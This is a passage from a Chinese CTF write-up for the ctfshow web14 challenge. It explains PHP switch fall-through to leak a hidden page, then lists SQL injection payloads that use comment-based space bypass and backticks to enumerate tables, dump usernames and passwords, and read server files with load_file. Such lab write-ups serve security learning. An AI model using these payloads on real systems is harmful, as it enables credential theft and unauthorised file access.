CTF web之旅 36

ctfshow web14

打开

 <?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__); 

我们想要把url输出  需要知道对于switch 语句遇不到break是不会退出的 会继续执行下一个case语句 还需要知道在php中 单引号不支持变量解析 双引号才支持

比如

<?php 
$a=123;
echo"$a";//输出123
echo'$a';//输出$a
?>

所以为了不让sleep太长的时间 我们直接传入c=3  访问给出的页面  看似是sql注入 发现过滤掉一些字符  空格用/**/进行代替

传入 ?query=1/**/order/**/by/**/1# 当order by 2 是开始出现不正常回显 判断出回显位数为1  看了师傅的wp 用反引号进行绕过

?query=-1/**/union/**/select/**/database()#

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#

?query=-1/**/union/**/select/**/group_concat(username,'~',password)/**/from/**/content#

 结果如下 秘密里有个秘密 emmm 本地load_file读取一下这个文件 linux服务器默认网站路径为/var/www/html/

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

crtl+u看到如下代码

 <?php $url = 'here_1s_your_f1ag.php'; $file = '/tmp/gtf1y'; if(trim(@file_get_contents($file)) === 'ctf.show'){ echo file_get_contents('/real_flag_is_here'); }'

绕过条件限制直接读得到flag

原文地址:https://www.cnblogs.com/akger/p/14699692.html